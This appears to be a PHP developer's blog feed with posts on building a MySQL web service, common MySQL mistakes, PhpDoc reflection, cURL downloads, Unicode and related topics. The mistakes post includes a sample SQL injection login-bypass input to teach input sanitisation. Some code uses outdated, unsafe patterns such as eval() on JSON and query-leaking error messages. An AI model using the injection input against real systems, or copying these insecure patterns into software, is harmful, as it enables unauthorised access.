The PHP / MySQL
copy/* require the user as the parameter */
if(isset($_GET['user']) && intval($_GET['user'])) {

/* soak in the passed variable or set our own */
$number_of_posts = isset($_GET['num']) ? intval($_GET['num']) : 10; //10 is the default
$format = strtolower($_GET['format']) == 'json' ? 'json' : 'xml'; //xml is the default
$user_id = intval($_GET['user']); //no default

/* connect to the db */
$link = mysql_connect('localhost','username','password') or die('Cannot connect to the DB');
mysql_select_db('db_name',$link) or die('Cannot select the DB');

/* grab the posts from the db */
$query = "SELECT post_title, guid FROM wp_posts WHERE post_author = $user_id AND post_status = 'publish' ORDER BY ID DESC LIMIT $number_of_posts";
$result = mysql_query($query,$link) or die('Errant query: '.$query);

/* create one master array of the records */
$posts = array();
if(mysql_num_rows($result)) {
    while($post = mysql_fetch_assoc($result)) {
      $posts[] = array('post'=>$post);
    }
}

/* output in necessary format */
if($format == 'json') {
    header('Content-type: application/json');
    echo json_encode(array('posts'=>$posts));
}
else {
    header('Content-type: text/xml');
    echo '<posts>';
    foreach($posts as $index => $post) {
      if(is_array($post)) {
        foreach($post as $key => $value) {
          echo '<',$key,'>';
          if(is_array($value)) {
            foreach($value as $tag => $val) {
              echo '<',$tag,'>',htmlentities($val),'</',$tag,'>';
            }
          }
          echo '</',$key,'>';
        }
      }
    }
    echo '</posts>';
}

/* disconnect from the db */
@mysql_close($link);
}
With the number of persons hitting your web service (hopefully), you'll need to do adequate validation before attempting to connect to the database to avoid injection attacks. Once we get the desired results from the database, we cycle through the results to populate our return results array. Depending upon the response type desired, we output the proper header and content in the desired format.

Take the following sample URL for example:

copyhttp://mydomain.com/web-service.php?user=2&num=10
Now, we can take a look at the possible results of the URL.

The XML Output
<posts>
<post>
    <post_title>SSLmatic SSL Certificate Giveaway Winners</post_title>
    <guid>http://davidwalsh.name/?p=2304</guid>
</post>
<post>
    <post_title>MooTools FileManager</post_title>
    <guid>http://davidwalsh.name/?p=2288</guid>
</post>
<post>
    <post_title>PHPTVDB: Using PHP to Retrieve TV Show Information</post_title>
    <guid>http://davidwalsh.name/?p=2266</guid>
</post>
<post>
    <post_title>David Walsh: The Lost MooTools Plugins</post_title>
    <guid>http://davidwalsh.name/?p=2258</guid>
</post>
<post>
    <post_title>Create Short URLs Using U.Nu</post_title>
    <guid>http://davidwalsh.name/?p=2218</guid>
</post>
<post>
    <post_title>Create Bit.ly Short URLs Using PHP</post_title>
    <guid>http://davidwalsh.name/?p=2194</guid>
</post>
<post>
    <post_title>Represent Your Repositories Using the GitHub Badge!</post_title>
    <guid>http://davidwalsh.name/?p=2178</guid>
</post>
<post>
    <post_title>ZebraTable</post_title>
    <guid>http://davidwalsh.name/?page_id=2172</guid>
</post>
<post>
    <post_title>MooTools Zebra Table Plugin</post_title>
    <guid>http://davidwalsh.name/?p=2168</guid>
</post>
<post>
    <post_title>SSLmatic: Quality, Cheap SSL Certificates and Giveaway!</post_title>
    <guid>http://davidwalsh.name/?p=2158</guid>
</post>
</posts>
Take this next sample URL for example:

copyhttp://mydomain.com/web-service.php?user=2&num=10&format=json
Now, we can take a look at the possible results of the URL.

The JSON Output
{"posts":[{"post":{"post_title":"SSLmatic SSL Certificate Giveaway Winners","guid":"http:\/\/davidwalsh.name\/?p=2304"}},{"post":{"post_title":"MooTools FileManager","guid":"http:\/\/davidwalsh.name\/?p=2288"}},{"post":{"post_title":"PHPTVDB: Using PHP to Retrieve TV Show Information","guid":"http:\/\/davidwalsh.name\/?p=2266"}},{"post":{"post_title":"David Walsh: The Lost MooTools Plugins","guid":"http:\/\/davidwalsh.name\/?p=2258"}},{"post":{"post_title":"Create Short URLs Using U.Nu","guid":"http:\/\/davidwalsh.name\/?p=2218"}},{"post":{"post_title":"Create Bit.ly Short URLs Using PHP","guid":"http:\/\/davidwalsh.name\/?p=2194"}},{"post":{"post_title":"Represent Your Repositories Using the GitHub Badge!","guid":"http:\/\/davidwalsh.name\/?p=2178"}},{"post":{"post_title":"ZebraTable","guid":"http:\/\/davidwalsh.name\/?page_id=2172"}},{"post":{"post_title":"MooTools Zebra Table Plugin","guid":"http:\/\/davidwalsh.name\/?p=2168"}},{"post":{"post_title":"SSLmatic: Quality, Cheap SSL Certificates and Giveaway!","guid":"http:\/\/davidwalsh.name\/?p=2158"}}]}

Creating a basic web service is very simple and encourages your users to spread the word about your website or service. Want more traffic? Want your website to grow without you putting in all the effort? Create a web service!

JSON-PHP

Wed, 07 Mar 2012 21:07:06 +0000

JSON-PHP is a PHP implementation of JSON, freely-available for download and use from pear.php.net. This project has a public Yahoo! group for bug reports, updates, rants, etc.

JSON (JavaScript Object Notation) is a lightweight data-interchange format. In experimenting with XMLHTTPRequest, I've found that using a less-bloaty data exchange format beats XML. It's also perfect for the growing body of Ajax code, examples of which can be found at Ajax Matters.

In Javascript, consuming input in JSON format is as easy as:

eval("var decoded_data = "+encoded_data);

With JSON-PHP, it can be almost as easy on the server-side, too:

// create a new instance of Services_JSON require_once('JSON.php'); $json = new Services_JSON(); // convert a complex value to JSON notation $value = array(1, 2, 'foo'); $output = $json->encode($value); print($output); // accept incoming POST data $input = $GLOBALS['HTTP_RAW_POST_DATA']; $value = $json->decode($input);

JSON is easy for humans to read and write. It is easy for machines to parse and generate. It is based on a subset of the JavaScript Programming Language, Standard ECMA-262 3rd Edition - December 1999. This feature can also be found in Python. JSON is a text format that is completely language independent but uses conventions that are familiar to programmers of the C-family of languages, including C, C++, C#, Java, JavaScript, Perl, TCL, and many others. These properties make JSON an ideal data-interchange language.

JSON-PHP is available in fully-functional proposal form from the PEAR site, under the PHP license.

If you're comfortable with compiling PHP extensions from source, and have root privileges on the machines you use, there is a C implementation of JSON for PHP available, with big speed advantages over JSON-PHP.

Top 10 MySQL Mistakes Made By PHP Developers

Mon, 06 Feb 2012 04:55:11 +0000

A database is a fundamental component for most web applications. If you’re using PHP, you’re probably using MySQL–an integral part of the LAMP stack.

PHP is relatively easy and most new developers can write functional code within a few hours. However, building a solid, dependable database takes time and expertise. Here are ten of the worst MySQL mistakes I’ve made (some apply to any language/database)…

1. Using MyISAM rather than InnoDB

MySQL has a number of database engines, but you’re most likely to encounter MyISAM and InnoDB.

MyISAM is used by default. However, unless you’re creating a very simple or experimental database, it’s almost certainly the wrong choice! MyISAM doesn’t support foreign key constraints or transactions, which are essential for data integrity. In addition, the whole table is locked whenever a record is inserted or updated; this causes a detrimental effect on performance as usage grows.

The solution is simple: use InnoDB.

2. Using PHP’s mysql functions

PHP has provided MySQL library functions since day one (or near as makes no difference). Many applications rely on mysql_connect, mysql_query, mysql_fetch_assoc, etc. but the PHP manual states:

If you are using MySQL versions 4.1.3 or later it is strongly recommended that you use the mysqli extension instead.

mysqli, or the MySQL improved extension, has several advantages:

an (optional) object-oriented interface
prepared statements (which help prevent SQL-injection attacks and increase performance)
multiple statements and transaction support
Alternatively, you should consider PDO if you want to support multiple databases.
3. Not sanitizing user input

This should probably be #1: never trust user input. Validate every string using server-side PHP — don’t rely on JavaScript. The simplest SQL injection attacks depend on code such as:

$username = $_POST["name"];
$password = $_POST["password"];
$sql = "SELECT userid FROM usertable WHERE username='$username' AND password='$password';";
// run query...
This can be cracked by entering “admin'; --” in the username field. The SQL string will equate to:

SELECT userid FROM usertable WHERE username='admin';
The devious cracker can log in as “admin”; they need not know the password because it’s commented out of the SQL.

4. Not using UTF-8

Those of us in the US, UK, and Australia rarely consider languages other than English. We happily complete our masterpiece only to find it cannot be used elsewhere.

UTF-8 solves many internationalization issues. Although it won’t be properly supported in PHP until version 6.0, there’s little to prevent you setting MySQL character sets to UTF-8.

5. Favoring PHP over SQL

When you’re new to MySQL, it’s tempting to solve problems in the language you know. That can lead to unnecessary and slower code. For example, rather than using MySQL’s native AVG() function, you use a PHP loop to calculate an average by summing all values in a record-set.

Watch out also for SQL queries within PHP loops. Normally, it’s more effective to run a query then loop through the results.

In general, utilize the strengths of your database when analyzing data. A little SQL knowledge goes a long way.

6. Not optimizing your queries

99% of PHP performance problems will be caused by the database, and a single bad SQL query can play havoc with your web application. MySQL’s EXPLAIN statement, the Query Profiler, and many other tools can help you find that rogue SELECT.

7. Using the wrong data types

MySQL offers a range of numeric, string, and time data types. If you’re storing a date, use a DATE or DATETIME field. Using an INTEGER or STRING can make SQL queries more complicated, if not impossible.

It’s often tempting to invent your own data formats; for example, storing serialized PHP objects in string. Database management may be easier, but MySQL will become a dumb data store and it may lead to problems later.

8. Using * in SELECT queries

Never use * to return all columns in a table–it’s lazy. You should only extract the data you need. Even if you require every field, your tables will inevitably change.

9. Under- or over-indexing

As a general rule of thumb, indexes should be applied to any column named in the WHERE clause of a SELECT query.

For example, assume we have a usertable with a numeric ID (the primary key) and an email address. During log on, MySQL must locate the correct ID by searching for an email. With an index, MySQL can use a fast search algorithm to locate the email almost instantly. Without an index, MySQL must check every record in sequence until the address is found.

It’s tempting to add indexes to every column, however, they are regenerated during every table INSERT or UPDATE. That can hit performance; only add indexes when necessary.

10. Forgetting to back up

It may be rare, but databases fail. Hard disks can stop. Servers can explode. Web hosts can go bankrupt. Losing your MySQL data is catastrophic, so ensure you have automated backups or replication in place.

11. Bonus mistake: not considering other databases!

MySQL may be the most widely used database for PHP developers, but it’s not the only option. PostgreSQL and Firebird are its closest competitors; both are open source and not controlled by a corporation. Microsoft provide SQL Server Express and Oracle supply 10g Express; both are free versions of the bigger enterprise editions. Even SQLite may be a viable alternative for smaller or embedded applications.

How to stop port 80 on winwows?

Wed, 28 Sep 2011 01:12:09 +0000

I am trying to install Localhost Apache/Mysql for trying my hand at web development. Unfortunately Apache won't install because apparently my port 80 was blocked by Skype. I quit skype and tried again but no joy. I am still having port 80 blocked. So any ideas how to free port 80 on my Windows 7?

You can use this command on command line, to see which process is using port 80

Code:
netstat -o -n -a | findstr 0.0:80

Generally on windows it's the World Wide Web Publishing Service. So open your services, and stop World Wide Web Publishing Service.

Check whether magic_quotes_gpc is turned on

Thu, 14 Jul 2011 23:07:10 +0000

In the previous post I have mentioned about magic_quotes_gpc. But didn't mention on how to check whether this feature is turned on or off. There is two ways to check whether this feature is turned on or off.

Check in the php.ini file whether the feature is set to 'on' or 'off' Or if you don't have privilege to view the php.ini file, then you can check it using php code such as below:

if (get_magic_quotes_gpc()) {
echo "the get_magic_quotes_gpc() is turned on";
}
else
{
echo "the get_magic_quotes_gpc() is turned off";
}

Very Basic yet Very effective statement...

Mon, 11 Apr 2011 07:35:42 +0000

Most importantly, you need to be aware that the float data type is not always capable of representing numbers in the way you expect it to. Consider, for example this very simple statement: echo (int) ((0.1 + 0.7) * 10); You would expect that the expression ((0.1 + 0.7) * 10) would evaluate to 8 (and, in fact, if you print it out without the integer conversion, it does). However, the statement above outputs 7 instead. This happens because the result of this simple arithmetic expression is stored internally as 7.999999 instead of 8; when the value is converted to int, PHP simply truncates away the fractional part, resulting in a rather significant error (12.5%, to be exact). The lesson that you need to take home from all this is simple: know the limitations of your numeric data types, and plan around them. Whenever the precision of your calculation is a relevant factor to the proper functioning of your application, you should consider using a the arbitrary precision functions provided by the BCMath extension (you can search for it in your copy of the PHP manual) instead of PHP's built-in data types.

How to document the code in PHP?

Sun, 06 Mar 2011 22:21:03 +0000

Reflecting On Your Code

Everyone knows the value of keeping good documentation, but correspondingly everyone hates publishing new documentation as an application evolves.

Reflection is an OOP concept for accessing a script’s extended information; this information is also known as metadata. In other languages like C# there are lots of metadata tools like attributes, XML documentation, manifest files, code regions and the like, however, in PHP there is only one little known trick for including metadata in your application.

This trick relates to the way PHP code is parsed. To understand this trick, you have to first understand the phases of PHP execution under the hood. Explaining this in full is far beyond the scope of this article, however, the basics are as follows.

First, a request is received by the web server and routed to the PHP module. Once the PHP module has received a request, it will find the requested file, and begin the parsing phase. This is all fairly complicated, but to put it simply, the code is run through a part of the Zend Engine called the Zend_Language_Parser.

The result of this phase is a series of objects about every piece of code. They include operational codes, and fortunately for us, one member of this object is the doc_comment.

These objects are then used by php to actually begin compilation, execution and output back to the web server. But all we need know for our purposes is that the doc_comment is not discarded during this parsing operation as one might expect.

So what defines a doc_comment? A doc_comment as PHP defines it is any comment prefixing a class, interface, method or function that begins with a /** and ends with a */.

For example:

Listing 1 listing-1.php
<?php
    /**
     * This is a doc_comment.
     */
    class someclass
    {
        // this is not a doc comment because
        // it doesn't start with /** and end
        // with */ and doesn't prefix a class,
        // interface, method or function
    }
?>
The above comment is now stored in PHP’s metadata, however, it’s not very useful to us. It isn’t parsible, it doesn’t contain any kind of useful information and it’s certainly not in the valid phpdoc format.

A Crash Course In PhpDoc

For those of you not familiar with phpdoc, it is a method for documenting code that derives from Java’s JavaDoc format. Basically, it is a way to format comments so that they are machine readable, meaningful and easy for the programmer to write.

Some people are die-hard phpdoc users, some use derivatives that borrow the best from phpdoc and add some extra formatting. It is always highly controversial when you make changes to an established technology, but for the purposes of reflection, a few changes can be made to make it arguably more useful. Most specifically the addition of tab delimited fields for common attributes, which will be explained later in this article.

I will not discuss the original phpdoc standard here, because it is quite large, so if you are interested in the original way of doing this you should probably visit http://phpdoc.org. Instead, from now on when I refer to phpdoc I am referring purely to the derivative which my studio uses that is in absolutely no way associated with phpdoc.org or the defacto standardized phpdoc.

Our first look at actual phpdoc comments

To begin lets look at the general format of a phpdoc comment.

Listing 2 listing-2.php
<?php
    /**
     * Classname Additionaltitle
     *
     * Summary
     *
     * @attribute   some    something       something else
     */
    class classname
    {

    }
?>
The comment begins with the first word of the first line being a mirror of the items name. This is used in the title of the comment, and is added for readability. In my experience, it occasionally happens that code blocks are copied and pasted without regard to the comment; the function is then modified and the comment never updated. By mirroring the name we guarantee that the comment belongs to this function and helps to keep documentation straight from project to project.

The rest of the first line is what you want the entire title to show up as when the information is output. For example, the additional title for a merchant class might be:

Merchant provides credit card processing services.

The next part is always a blank line, as this indicates the end of the title and the beginning of the Summary block. The summary, unlike the title, should describe in brief how the class completes its function. For a Merchant class a several line summary is appropriate:

This class accepts multiple parameters via the constructor, depends on the global configuration manager for merchant account information and uses curl to communicate the credit card information to the processor. There are also various methods for checking the authenticity of the transaction and receiving processor status messages.

Next we have attributes. Attributes are a string that has special meaning to the parser. Attributes are always prefixed with @ and the data they refer to is tab delimited. There can be one or more tabs between each field in an attribute, so you can make all the data align nicely. Spaces will not be recognized as a delimiter only the \t tab character will be.

One such attribute is @var:

Listing 3 listing-3.php
<?php
    /**
     * Title
     *
     * Summary
     *
     * @var     type    $varname    Description
     * @var     array   $someVar    This array contains something
     */
?>
This data — unlike the summary — must be all on one line and the tab delimiting is important. This is derivative from the official phpdoc standard which only provides the name and a description.

When working with variables that change type the value mixed should be used for the type field. When working with objects, the name of the class should be used for the type field.

Here is a list of attributes that we make use of, some deviating from the official standard. There are many more attributes, so this is just a partial list of the most commonly used ones.

Global attributes

These can be used on all classes, interfaces, methods and functions.

Listing 4 listing-4.php
<?php
    /**
     * ...
     *
     * @author      Firstname Lastname
     * @copyright   ACME Inc.
     * @license     GNU LGPL
     * @see         Something
     * @link        http://www.example.com      Description of site
     * @remarks     Something people using the class might want to know.
     */
?>
Class specific attributes

Listing 5 listing-5.php
<?php
    /**
     * ...
     *
     * @var         type        $varname        Description
     * @extends     SomeClass
     * @implements SomeInterface, SomeOtherInterface
     */
?>
Interface and class attributes

Listing 6 listing-6.php
<?php
    /**
     * ...
     *
     * @depends     SomeClass
     */
?>
Method specific attributes

Listing 7 listing-7.php
<?php
    /**
     * ...
     *
     * @access      public|private|protected
     */
?>
Function and method attributes

Listing 8 listing-8.php
<?php
    /**
     * ...
     *
     * @param       type            $variableName       Description
     * @throws      someException   Description
     * @return(s)   type            Description
     */
?>

Extracting Code Comments With The Reflection API

Now you know how metadata is stored, and how to format it. To access metadata, we need to use the Reflection API.

The Reflection API is a series of classes new to PHP 5 which you provide the name of the item you wish to introspect. The class then has a number of methods and properties containing the relevant information.

You can reflect functions with ReflectionFunction, classes and interfaces with ReflectionClass.

To reflect a class you simply provide the name as a string to the constructor of ReflectionClass. We then have a number of properties and methods available, but the one you care about is the getDocComment() method.

Listing 9 listing-9.php
<?php
    $oClassReflect = new ReflectionClass("classname");
    $sDocComment = $oClassReflect->getDocComment();
?>
You now have the doc comment as a string, but it isn’t very useful. To parse the phpdoc style commenting from the comment use a series of string processing functions. Use a few regular expressions to remove the *‘s and then, normalize the values into an array of lines. Additionally, each line may have multiple successive tabs and these should be treated as a single tab.

Listing 10 listing-10.php
<?php
    $sDocComment = preg_replace("/(^[\\s]*\\/\\*\\*)
                                 |(^[\\s]\\*\\/)
                                 |(^[\\s]*\\*?\\s)
                                 |(^[\\s]*)
                                 |(^[\\t]*)/ixm", "", $sDocComment);

    $sDocComment = str_replace("\r", "", $sDocComment);
    $sDocComment = preg_replace("/([\\t])+/", "\t", $sDocComment);
    $aDocCommentLines = explode("\n", $sDocComment);
?>
Next you will want to loop through the resulting array and do some basic parsing. String processing is beyond the scope of this article so I will simply point you to our website and you can look at the working parser in the StormAPI package (/model/docgen/).

Using The Extracted Document Comments

Now you should have been able to parse out the data from the comments and store it in an object. You can then do pretty much anything you want with that data. I personally like to output this data to an XML file and use an XSL stylesheet to interpret the data.

The next hurdle you will need to cover is the ability to load all the files for a site into memory, but without executing any of their code.

Fortunately there are several tools that allow you to do just this.

There are 3 main components to this process. These are:

Finding all the files in the site using SPL’s recursiveDirectoryIterator.
Loading those files without running their contents and without causing scope resolution issues.
Pragmatically determining all the classes, interfaces and functions that have been defined.
First, the Standard PHP Library (SPL) provides a useful class for traversing directories and files pragmatically, recursiveDirectoryIterator. This class is actually far easier to use than the old directory functions.

Second, to load the files located by the recursiveDirectoryIterator, we use a side effect of the function php_check_syntax(). That is, once it is run, the functions, classes and interfaces defined in those files remain in memory and can be reflected. This is, however, much different than include, because no code will be executed.

Listing 11 listing-11.php
<?php
    /**
     * includeTree
     *
     * Invocation method for recursive directory load.
     *
     * @param   string      $sDirectory     A path to include, all subdirs will be scanned.
     * @access private
     */
    private function includeTree($sDirectory)
    {
        $this->recurseTree(new recursiveDirectoryIterator($sDirectory));
    }

    /**
     * recurseTree
     *
     * Recursive function that uses a spl recursiveDirectoryIterator
     * to scan directories for files to include.
     *
     * @param   iterator    $oIterator A path to include, all subdirs will be scanned.
     * @access private
     */
    private function recurseTree($oIterator)
    {
        $allowedTypes = array('php', 'inc');
        while ($oIterator->valid()) {
            if ($oIterator->isDir() && !$oIterator->isDot()) {
                if ($oIterator->hasChildren()) {
                    $this->recurseTree($oIterator->getChildren());
                }
            }
            else if ($oIterator->isFile()) {
                $path = $oIterator->getPath() . '/' . $oIterator->getFilename()
                $pathinfo = pathinfo($path);
                if (in_array(strtolower($pathinfo['extension']), $allowedTypes)) {
                    php_check_syntax_external($path);
                }
            }
            $oIterator->next();
        }
    }
?>
The above two methods are designed to exist within a class, however, php_check_syntax() needs to be called from outside class scope to function as expected. So we need to create a function in the global scope called php_check_syntax_external() so that class scope is not inherited.

Listing 12 listing-12.php
<?php
    /**
     * PHP Check Syntax External
     *
     * Marshalls php_check_syntax() for the global scope and discards the result
     *
     * @param   string $sFile The filename to pass along.
     */
    function php_check_syntax_external($sFile)
    {
        php_check_syntax($sFile);
    }
?>
Next, we need to determine what has been declared. There are three distinct functions for this job:

get_defined_functions()
get_declared_classes()
get_declared_interfaces()
get_defined_functions() works differently than the other two in that it returns a multidimensional array. You can see the docs for the full details but for our purposes we will just simply specify the first degree key user.

Listing 13 listing-13.php
<?php
    $aFuncs = get_defined_functions();
    $aFuncs = $aFuncs['user'];
?>
$aFuncs now contains an array of all user defined function names, to which you can loop and pass into ReflectionFunction($functionName).

To get the classes and interfaces, we must use a combination of their list functions as well as reflection to determine if they are built-in or if they were created by the user.

Listing 14 listing-14.php
<?php
    foreach(get_declared_classes() as $sClassName) {
        $oClassReflect = new ReflectionClass($sClassName);
        if($oClassReflect->isUserDefined()) {
            // Do something
        }
    }
?>

Courtesy - http://www.phpriot.com/articles/reflection-api

Jquery way to hide/unhide div depending on checkbox status

Tue, 21 Sep 2010 19:18:07 +0000

if ($('#isAgeSelected').is(':checked')) { $("#txtAge").show(); } else { $("#txtAge").hide(); }

You can shorten this using ternary, some might say it's a bit less readable, but that's how I would do it:

$('#isAgeSelected').is(':checked') ? $("#txtAge").show() : $("#txtAge").hide();

EDIT (14 months later): There's a much prettier way to do this, using toggle:

$('#isAgeSelected').click(function() {
    $("#txtAge").toggle(this.checked);
});

<input type="checkbox" id="isAgeSelected"/>
<div id="txtAge" style="display:none">Age is something</div>

JQuery UI, easy to implement and most effective library

Wed, 28 Jul 2010 05:39:13 +0000

jQuery UI provides a comprehensive set of core interaction plugins, UI widgets and visual effects that use a jQuery-style, event-driven architecture and a focus on web standards, accessiblity, flexible styling, and user-friendly design. All plugins are tested for compatibility in IE 6.0+, FF 2+, Safari 3.1+, Opera 9.0+, and Google Chrome.

For more information click here

Simple File Version Management Application in PHP

Sat, 10 Jul 2010 03:59:21 +0000

My Profile

Mon, 28 Jun 2010 00:44:40 +0000

I present to you my skills, achievements, talent and experience as an expert software engineer.

Nilesh Pawar is an accomplished software developer with a proven ability in creating web-based applications and websites. I have a g ood understanding of database design and website optimization using Compression techniques

I have led key initiatives to build efficient and fast loading web pages. Self-motivated and strong analytical and inter-personal skills having w orked with international customers .

Click here to see more...

Protecting Your PHP Source Code With ionCube Encoder

Wed, 23 Jun 2010 22:43:28 +0000

Introduction

One of the issues PHP developers face is that PHP is an interpreted language, meaning PHP source code is readable by anybody who downloads your applications. In this article I will show you how to protect your intellectual property by encoding your PHP source code.

The tool we are going to use to protect our code is ionCube PHP Encoder. Before releasing your PHP software, you use the encoder to convert your plain-text PHP files into special encrypted files.

Note: While ionCube PHP Encoder is a commercial product, there is a time-limited trial available for download.

Because your PHP is encoded into a special byte-code (as opposed to just being obfuscated), a loader must be installed on your web server. A loader is a PHP module that must be installed.

Note: Fortunately, ionCube PHP Encoder is commonly used and therefore many web hosts will already have a loader installed.

On the ionCube website there is a loaders page which contains the latest versions of the loader for all supported platforms (you must install the correct loader for your platform).

Note: You will need the loader for your platform installed in order to be able to run code you encode from this article.

Before we proceed, let's take a quick look at an encoded file. Listing 1 shows a basic PHP script.

Listing 1 A basic "Hello World" script (helloworld.php)

<?php
    echo "Hello, world!\n";
?>

We can then run this script through the encoder. While there are many different options available, encoding a script with the default options yields the following PHP file.

Listing 2 Encoded version of "Hello World" (helloworld-enc.php)

<?php //000a8
echo('Site error: the file <b>'.__FILE__.'</b> requires the ionCube PHP Loader '.
basename($__ln).' to be installed by the site administrator.');exit(199);
?>
4+oV5BgRgd22U2z7JoK/KmKPIcszhD8pg3hvN+5vc4HFcsGMn/El/4CMYaLFFzaqguLCeb9su8xn
i0+eWxJg/kwNHRkiBvY1aMf1AvwPf14DIwCvegtJC7cbx9cN5jBjwSspVjhVsQnxFx9oBut6R0Kc
V+OLw6XBTNm5sKpbL6DVm2jqk8Wasm9oJgKLZxBtvVBeP5vZrOiod+L7SoplcmTgtyr5wzS3sEzj
r7ixXPUY4H82MyuzZyjYTkSKkz9qlMzWHddrUHJX3y0zPfDqWDUeD1BibJQJ9BXkP7jb4pdKQv/h
sMqhthNQQRSp6nOJHq8oDDYLE+p403GYs2As9qEI2wNAg6j6ln0BRP7shcbNTb5a8O4VjjLhGDwG
1AYOxaM4R5QneCFr+xYdtEYSep8FW1i9IBzF1FuDa7eMoPDqaQdjTLAPsy5O831yGpAHohx3FzUK
aewZTV+tdru=

While you cannot understand what this code does just by looking at it, your PHP installation with the correct loader installed interprets this just as if it was the code in Listing 1.

Click here for more information

Ajax file uploader with preview option

Fri, 04 Jun 2010 06:08:57 +0000

If you are a PHP developer and have good experience in PHP Application/Web development then you must have faced the multiple situations where you needed to upload the image files show the preview of same at particular location on the page without submitting the form once you select the file so that you can decide whether its looking good or not if not you can change the file at same time instead of using old method where you submit the form and check preview if its not good you will go back to edit the entry again.

This old method was very time consuming, so here is very easy and effective example for you to upload the image files using ajax, preview the same without submitting form. I bet you will love it!

Kindly let me know your comments...

PHP and AJAX Image Upload

Downloading a Remote File With cURL and PHP

Fri, 30 Apr 2010 07:23:14 +0000

cURL is a great tool to help you connect to remote web sites, making it easy to post forms, retrieve web pages, or even to download files. In this PhpRiot Snippet I'll show you how you can download a file straight to disk using cURL.

Note: To simplify our key points in this article we don't perform any error checking on the cURL requests. You should always do so; the curl_getinfo function is extremely useful for this.

If you use basic options when executing a cURL request, the returned data will be output directly. If instead you want to assign the response to a PHP variable you would specify the CURLOPT_RETURNTRANSFER option.

You can then read the response and write it to disk, as shown in the following listing. The $path variable is the location on the server where you want to write the file.

Listing 1 Downloading a file and saving it with file_put_contents() (listing-1.php)

<?php
    $url  = 'http://www.example.com/a-large-file.zip';
    $path = '/path/to/a-large-file.zip';
 
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
 
    $data = curl_exec($ch);
 
    curl_close($ch);
 
    file_put_contents($path, $data);
?>

There is however a problem with this code. If the file you're downloading is quite large, the entire contents must be read into memory before being written to disk. Doing so can result in your script breaking down due to exceeding the memory limit.

Note: Even if your memory limit is set extremely high, you would be putting unnecessary strain on your server by reading in a large file straight to memory.

Therefore, you should let cURL do the hard work by passing to it a writable file stream. You can do this using the CURLOPT_FILE option.

Note: Because we'll be writing to a file you no longer specify the CURLOPT_RETURNTRANSFER option.

To do this you must first create a new file pointer using fopen(). Next we pass this file pointer to cURL and perform the request. Finally, we close the file pointer.

Listing 2 Using cURL to download straight to a file stream (listing-2.php)

<?php
    $url  = 'http://www.example.com/a-large-file.zip';
    $path = '/path/to/a-large-file.zip';
 
    $fp = fopen($path, 'w');
 
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_FILE, $fp);
 
    $data = curl_exec($ch);
 
    curl_close($ch);
    fclose($fp);
?>

Reference ;- phpriot

Dynamic form creation Plugin for Wordpress - nice one

Tue, 30 Mar 2010 07:20:01 +0000

cformsII

cforms is a powerful and feature rich form plugin for Wordpress, offering convenient deployment of multiple Ajax driven contact forms throughout your blog or even on the same page.

Click here for more information and downlaod the same.

Overcoming missing Unicode support in PHP

Wed, 17 Feb 2010 10:40:26 +0000

The lack of Unicode support in PHP is displeasing, but there are workarounds that allow you to develop proper internationalized applications even in PHP. The first problem you have to solve is proper representation of Unicode data. PHP uses so-called binary strings — in PHP, a string is not a string of Unicode characters, but rather a sequence of bytes. You can internally store all strings in UTF-8 encoding and make sure that all input to and output from the script is properly encoded and decoded.

In theory, you can use other encodings than UTF-8, but UTF-8 creates less trouble than other systems. Many PHP libraries already expect that strings are encoded in UTF-8, including all functions working with XML and the newly added intl library. To smoothly work with UTF-8-encoded strings, it is best to encode characters in UTF-8 and send output from scripts in UTF-8.

Still, turning everything into UTF-8 does not solve anything. If you encode a Latin character with an accent or a non-Latin character in UTF-8, you will obtain two, three, of four bytes, which confuses PHP string functions that compute string length or work with substrings. Listing 1 demonstrates this problem.

Listing 1. Problems related to improper Unicode support in PHP

<?php

Header("Content-type: text/plain;charset=utf-8");
 
$text["en"] = "The Hitchhiker's Guide to the Galaxy";
$text["es"] = "Guía del autoestopista galáctico";
$text["cs"] = "Stopařův průvodce po Galaxii";
$text["ru"] = "Путеводитель хитч-хайкера по Галактике";
$text["ja"] = "銀河ヒッチハイク・ガイド";

foreach($text as $lang => $t)
{
 echo $lang, ": ", $t, " (", strlen($t), " vs. ", mb_strlen($t, "utf-8"), ")\n";
}
?>

What is PHP-GTK?

Tue, 16 Feb 2010 10:30:25 +0000

History

PHP-GTK was originally conceived by Andrei Zmievski, who is also actively involved in the development of PHP and the Zend Engine. The idea was received well by the PHP community, and more people started to get involved with the project. James Moore and Steph Fox were among the first to join in, contributing a great deal to PHP-GTK through their documentation efforts, and Frank Kromann - also from the PHP development team - supplied Windows binaries for the project.

The first version of PHP-GTK was released in March 2001. More people began to get involved, and several extensions were contributed introducing new widgets, such as Scintilla and GtkHTML. PHP-GTK 1.0 was released in October 2003 alongside several extensions — including a wrapper for libglade, which allowed the cross-platform Glade UI builder to be used in creating PHP-GTK applications.

Present

PHP-GTK was quickly adopted by the PHP community. Several applications were developed, and a small job market even emerged. Zmievski and Fox are still working hard on the project, with Fox now maintaining PHP-GTK for Windows.

Development is in full swing for the next major version of PHP-GTK. PHP-GTK 2 fully utilizes PHP 5's powerful object model support, and brings the improved portability of GTK 2.6 as well as its new set of widgets. The project also has some new extensions such as GtkSourceView, which provides a rich source editor widget, alongside some of the old favourites.

Documentation for PHP-GTK 2 is filling out rapidly. Several articles and tutorials have been written on the topic, and around half the classes have been fully documented. Scott Mattocks, an active member of the PHP-GTK documentation group, has also written a book on the subject of PHP-GTK programming.

Ref->http://en.wikipedia.org/wiki/PHP-GTK

Performance

Tue, 11 Aug 2009 13:32:37 +0000

Performance on the web is straightforward: a relatively small amount of servers must be able to support a potentially unlimited number of clients. Any code running on the server must be clean and fast.

When inspecting code for performance issues, I look at two things: 1) database queries, and 2) disk reads. Database queries are a critical part of most applications. Optimizing databases is a topic unto itself and I can't possibly cover it here, but I can give some coding tips in order to ease database optimization.

• Number your queries in your code. This will help you keep track of how many queries are involved in a certain process, and will save you time when trying to optimize your scripts.

• Create proper indexes. Optimized indexes are key to database speed. Any fields which are routinely queried against should have indexes. Don't create too many indexes, as unnecessary indexes will slow INSERTs and increase the database size unnecessarily.

• Test, test, and test again. Poorly written queries can kill a database server. Take the time to gauge the performance of your queries and understand what the database needs to do in order to execute them.

After database queries, disk reads are your next largest performance worry. It is common in scripted languages (like PHP or Perl) to keep groups of functions and variables in separate files in order to ease maintenance and make code more readable. While doing so has it advantages, we have to remember that every include() or require() statement involves a disk read, and every disk read increases load on the web server.

Basically, we want to design our applications to have a minimal number of included files, or perhaps include the code explicitly when our application has become relatively stable.

Usability

